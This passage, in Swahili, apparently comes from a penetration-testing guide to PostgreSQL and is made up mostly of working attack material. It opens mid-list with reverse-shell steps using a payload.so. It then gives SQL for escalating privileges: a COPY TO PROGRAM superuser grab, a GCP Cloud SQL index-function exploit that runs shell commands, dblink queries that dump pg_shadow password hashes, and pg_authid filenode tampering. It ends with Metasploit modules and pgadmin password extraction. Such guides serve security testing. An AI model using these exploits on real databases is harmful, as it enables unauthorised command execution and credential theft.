7. Pakia `payload.so` kutoka hatua 5 kwenye saraka ya `/tmp`
|
|
8. Pakia upya usanidi wa seva kwa kuanzisha upya seva au kuita swali la `SELECT pg_reload_conf()`
|
|
9. Kwenye uunganisho ujao wa DB, utapokea uunganisho wa kabati la nyuma.
|
|
## **Postgres Privesc**
|
|
|
|
### Kupanda Vyeo vya Postgres
|
|
|
|
#### **CREATEROLE Privesc**
|
|
|
|
##### **Kutoa**
|
|
|
|
Kulingana na [**nyaraka**](https://www.postgresql.org/docs/13/sql-grant.html): _Vyeo vyenye **`CREATEROLE`** inaweza **kutoa au kurejesha uanachama katika jukumu lolote** ambalo **si** **mtumiaji wa super**._
|
|
|
|
Kwa hivyo, ikiwa una **ruhusa ya `CREATEROLE`** unaweza kujipatia ufikiaji wa **vyeo vingine** (visivyo mtumiaji wa super) ambavyo vinaweza kukupa chaguo la kusoma na kuandika faili na kutekeleza amri:
|
|
```sql
|
|
# Access to execute commands
|
|
GRANT pg_execute_server_program TO username;
|
|
# Access to read files
|
|
GRANT pg_read_server_files TO username;
|
|
# Access to write files
|
|
GRANT pg_write_server_files TO username;
|
|
```
|
|
#### Badilisha Nenosiri
|
|
|
|
Watumiaji wenye jukumu hili pia wanaweza **kubadilisha** **nenosiri** za watumiaji wengine **wasio wa kiwango cha juu**:
|
|
```sql
|
|
#Change password
|
|
ALTER USER user_name WITH PASSWORD 'new_password';
|
|
```
|
|
#### Kupanda hadhi hadi SUPERUSER
|
|
|
|
Ni kawaida sana kukuta kwamba **watumiaji wa ndani wanaweza kuingia kwenye PostgreSQL bila kutoa nenosiri lolote**. Kwa hivyo, mara tu unapokusanya **ruhusa ya kutekeleza nambari**, unaweza kutumia ruhusa hizi kujipatia jukumu la **`SUPERUSER`**:
|
|
```sql
|
|
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
|
```
|
|
{% hint style="info" %}
|
|
Hii kawaida inawezekana kwa sababu ya mistari ifuatayo katika faili ya **`pg_hba.conf`**:
|
|
```bash
|
|
# "local" is for Unix domain socket connections only
|
|
local all all trust
|
|
# IPv4 local connections:
|
|
host all all 127.0.0.1/32 trust
|
|
# IPv6 local connections:
|
|
host all all ::1/128 trust
|
|
```
|
|
{% endhint %}
|
|
|
|
### **KUBADILISHA JEDWALI LA privesc**
|
|
|
|
Katika [**makala hii**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) imeelezwa jinsi ilivyowezekana kufanya **privesc** katika Postgres GCP kwa kutumia mamlaka ya ALTER TABLE ambayo ilikuwa imeruhusiwa kwa mtumiaji.
|
|
|
|
Unapojaribu **kufanya mtumiaji mwingine kuwa mmiliki wa jedwali** unapaswa kupata **kosa** linalozuia hilo, lakini inaonekana GCP iliruhusu **chaguo hilo kwa mtumiaji wa postgres asiye mtumiaji wa super** katika GCP:
|
|
|
|
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Kwa kuunganisha wazo hili na ukweli kwamba wakati wa kutekeleza amri za **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) kwenye **jedwali lenye kazi ya index**, **kazi** inaitwa kama sehemu ya amri na **mamlaka ya mmiliki wa jedwali**. Inawezekana kuunda index na kazi na kumpa mamlaka ya mmiliki kwa **mtumiaji wa super** juu ya jedwali hilo, kisha kukimbia ANALYZE kwenye jedwali na kazi yenye nia mbaya ambayo itaweza kutekeleza amri kwa sababu inatumia mamlaka ya mmiliki.
|
|
```c
|
|
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
|
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
|
save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|
```
|
|
#### Utekaji
|
|
|
|
1. Anza kwa kuunda meza mpya.
|
|
2. Ingiza baadhi ya maudhui yasiyofaa kwenye meza ili kutoa data kwa kazi ya index.
|
|
3. Endeleza kazi ya index yenye nia mbaya ambayo ina kifurushi cha utekelezaji wa nambari, kuruhusu amri zisizoidhinishwa kutekelezwa.
|
|
4. BADILISHA mmiliki wa meza kuwa "cloudsqladmin," ambayo ni jukumu la mtumiaji wa juu wa GCP uliotumiwa pekee na Cloud SQL kusimamia na kudumisha database.
|
|
5. Tekeleza operesheni ya ANALYZE kwenye meza. Hatua hii inalazimisha injini ya PostgreSQL kubadilisha muktadha wa mtumiaji wa mmiliki wa meza, "cloudsqladmin." Kwa hivyo, kazi ya index yenye nia mbaya inaitwa kwa ruhusa za "cloudsqladmin," hivyo kuruhusu utekelezaji wa amri ya kabla ya hapo isiyoidhinishwa.
|
|
|
|
Katika PostgreSQL, mchakato huu unaonekana kama hivi:
|
|
```sql
|
|
CREATE TABLE temp_table (data text);
|
|
CREATE TABLE shell_commands_results (data text);
|
|
|
|
INSERT INTO temp_table VALUES ('dummy content');
|
|
|
|
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
|
|
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
|
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
|
|
|
|
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
|
|
|
|
ALTER TABLE temp_table OWNER TO cloudsqladmin;
|
|
|
|
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
|
|
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
|
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
|
|
|
|
ANALYZE public.temp_table;
|
|
```
|
|
Kisha, meza ya `shell_commands_results` italeta matokeo ya nambari iliyotekelezwa:
|
|
```
|
|
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
|
```
|
|
### Kuingia Kwa Kitaifa
|
|
|
|
Baadhi ya mifano ya postgresql iliyopangwa vibaya inaweza kuruhusu kuingia kwa mtumiaji yeyote wa ndani, inawezekana kuingia kutoka 127.0.0.1 kwa kutumia **`dblink` function**:
|
|
```sql
|
|
\du * # Get Users
|
|
\l # Get databases
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
port=5432
|
|
user=someuser
|
|
password=supersecret
|
|
dbname=somedb',
|
|
'SELECT usename,passwd from pg_shadow')
|
|
RETURNS (result TEXT);
|
|
```
|
|
{% hint style="warning" %}
|
|
Tafadhali kumbuka kwamba ili kazi ya awali ifanye kazi **kazi ya `dblink` inahitajika kuwepo**. Ikiwa haipo, unaweza kujaribu kuunda kwa kutumia
|
|
```sql
|
|
CREATE EXTENSION dblink;
|
|
```
|
|
{% endhint %}
|
|
|
|
Ikiwa una nenosiri la mtumiaji mwenye mamlaka zaidi, lakini mtumiaji huyo hauruhusiwi kuingia kutoka anwani ya IP ya nje unaweza kutumia kazi ifuatayo kutekeleza maswali kama mtumiaji huyo:
|
|
```sql
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=someuser
|
|
dbname=somedb',
|
|
'SELECT usename,passwd from pg_shadow')
|
|
RETURNS (result TEXT);
|
|
```
|
|
Inawezekana kuthibitisha ikiwa kazi hii ipo kwa:
|
|
```sql
|
|
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
|
```
|
|
### **Kazi iliyobuniwa desturi na** SECURITY DEFINER
|
|
|
|
[**Katika andishi hili**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), wapimaji walikuwa na uwezo wa kufanya privesc ndani ya kipengele cha postgres kilichotolewa na IBM, kwa sababu waligundua hii **kazi yenye bendera ya SECURITY DEFINER**:
|
|
|
|
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
|
RETURNS text
|
|
LANGUAGE 'plpgsql'
|
|
<strong> VOLATILE SECURITY DEFINER
|
|
</strong> PARALLEL UNSAFE
|
|
COST 100
|
|
|
|
AS $BODY$
|
|
DECLARE
|
|
persist_dblink_extension boolean;
|
|
BEGIN
|
|
persist_dblink_extension := create_dblink_extension();
|
|
PERFORM dblink_connect(format('dbname=%s', db_name));
|
|
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
|
|
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
|
|
PERFORM dblink_disconnect();
|
|
…
|
|
</code></pre>
|
|
|
|
Kama [**inavyoelezwa katika nyaraka**](https://www.postgresql.org/docs/current/sql-createfunction.html) kazi yenye **SECURITY DEFINER inatekelezwa** na mamlaka ya **mtumiaji anayemiliki**. Kwa hivyo, ikiwa kazi hiyo ni **dhaifu kwa Mashambulizi ya SQL** au inafanya **vitendo vya haki na vigezo vinavyodhibitiwa na mshambuliaji**, inaweza kutumiwa kwa **kuinua mamlaka ndani ya postgres**.
|
|
|
|
Katika mstari wa 4 wa msimbo uliopita unaweza kuona kuwa kazi ina bendera ya **SECURITY DEFINER**.
|
|
```sql
|
|
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
|
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
|
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|
```
|
|
Na kisha **tekeleza amri**:
|
|
|
|
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Pita Burteforce na PL/pgSQL
|
|
|
|
**PL/pgSQL** ni **lugha kamili ya programu** inayotoa udhibiti wa taratibu zaidi ikilinganishwa na SQL. Inawezesha matumizi ya **mizunguko** na **miundo mingine ya udhibiti** kuboresha mantiki ya programu. Aidha, **maagizo ya SQL** na **triggers** ina uwezo wa kuita kazi zilizoundwa kwa kutumia **lugha ya PL/pgSQL**. Ushirikiano huu unaruhusu njia kamili na yenye uwezo zaidi ya programu ya database na uendeshaji wa moja kwa moja.\
|
|
**Unaweza kutumia lugha hii kwa njia mbaya ili kuomba PostgreSQL kuvunja nguvu za watumiaji.**
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
|
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Privesc kwa Kupakia Upya Vitabu vya Ndani vya PostgreSQL
|
|
|
|
{% hint style="info" %}
|
|
Mwelekeo wa privesc ufuatao ni muhimu sana katika muktadha wa SQLi uliopunguzwa, kwani hatua zote zinaweza kutekelezwa kupitia maagizo ya SELECT yaliyofungwa
|
|
{% endhint %}
|
|
|
|
Ikiwa unaweza **kusoma na kuandika faili za seva za PostgreSQL**, unaweza **kuwa superuser** kwa kubadilisha filenode ya PostgreSQL kwenye diski, inayohusishwa na jedwali la ndani la `pg_authid`.
|
|
|
|
Soma zaidi kuhusu **mbinu hii** [**hapa**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
|
|
|
Hatua za shambulio ni:
|
|
|
|
1. Pata saraka ya data ya PostgreSQL
|
|
2. Pata njia ya kihusiano kwa filenode, inayohusishwa na jedwali la `pg_authid`
|
|
3. Pakua filenode kupitia kazi za `lo_*`
|
|
4. Pata aina ya data, inayohusishwa na jedwali la `pg_authid`
|
|
5. Tumia [Mhariri wa Filenode wa PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) kuhariri filenode; weka alama zote za boolean za `rol*` kuwa 1 kwa ruhusa kamili.
|
|
6. Pakia upya filenode iliyohaririwa kupitia kazi za `lo_*`, na kubadilisha faili ya asili kwenye diski
|
|
7. _(Hiari)_ Futa cache ya jedwali la kumbukumbu kwa kukimbia swali la SQL lenye gharama kubwa
|
|
8. Sasa unapaswa kuwa na mamlaka ya superadmin kamili.
|
|
|
|
## **POST**
|
|
```
|
|
msf> use auxiliary/scanner/postgres/postgres_hashdump
|
|
msf> use auxiliary/scanner/postgres/postgres_schemadump
|
|
msf> use auxiliary/admin/postgres/postgres_readfile
|
|
msf> use exploit/linux/postgres/postgres_payload
|
|
msf> use exploit/windows/postgres/postgres_payload
|
|
```
|
|
### kuingiza
|
|
|
|
Ndani ya faili ya _**postgresql.conf**_ unaweza kuwezesha kuingiza kwa postgresql kwa kubadilisha:
|
|
```bash
|
|
log_statement = 'all'
|
|
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
|
logging_collector = on
|
|
sudo service postgresql restart
|
|
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
|
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
|
```
|
|
Kisha, **anzisha tena huduma**.
|
|
|
|
### pgadmin
|
|
|
|
[pgadmin](https://www.pgadmin.org) ni jukwaa la utawala na maendeleo kwa PostgreSQL.\
|
|
Unaweza kupata **nywila** ndani ya faili ya _**pgadmin4.db**_\
|
|
Unaweza kuzidecrypt kwa kutumia kazi ya _**decrypt**_ ndani ya script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
|
```bash
|
|
sqlite3 pgadmin4.db ".schema"
|
|
sqlite3 pgadmin4.db "select * from user;"
|
|
sqlite3 pgadmin4.db "select * from server;"
|
|
string pgadmin4.db
|
|
```
|
|
### pg\_hba
|
|
|
|
Uthibitisho wa mteja katika PostgreSQL unadhibitiwa kupitia faili ya usanidi inayoitwa **pg\_hba.conf**. Faili hii ina rekodi za mfululizo, kila moja ikieleza aina ya uhusiano, mbalimbali ya anwani ya IP ya mteja (ikiwa inafaa), jina la database, jina la mtumiaji, na njia ya uthibitisho inayotumika kwa uhusiano unaolingana. Rekodi ya kwanza inayolingana na aina ya uhusiano, anwani ya mteja, database inayotakiwa, na jina la mtumiaji hutumiwa kwa uthibitisho. Hakuna kurudi nyuma au urejesho ikiwa uthibitisho unashindwa. Ikiwa hakuna rekodi inayolingana, ufikiaji unakataliwa.
|
|
|
|
Njia za uthibitisho kwa msingi wa nywila katika pg\_hba.conf ni **md5**, **crypt**, na **password**. Njia hizi zinatofautiana katika jinsi nywila inavyotumwa: MD5-hashed, crypt-encrypted, au maandishi wazi. Ni muhimu kutambua kuwa njia ya crypt haiwezi kutumika na nywila zilizoandikwa katika pg\_authid.
|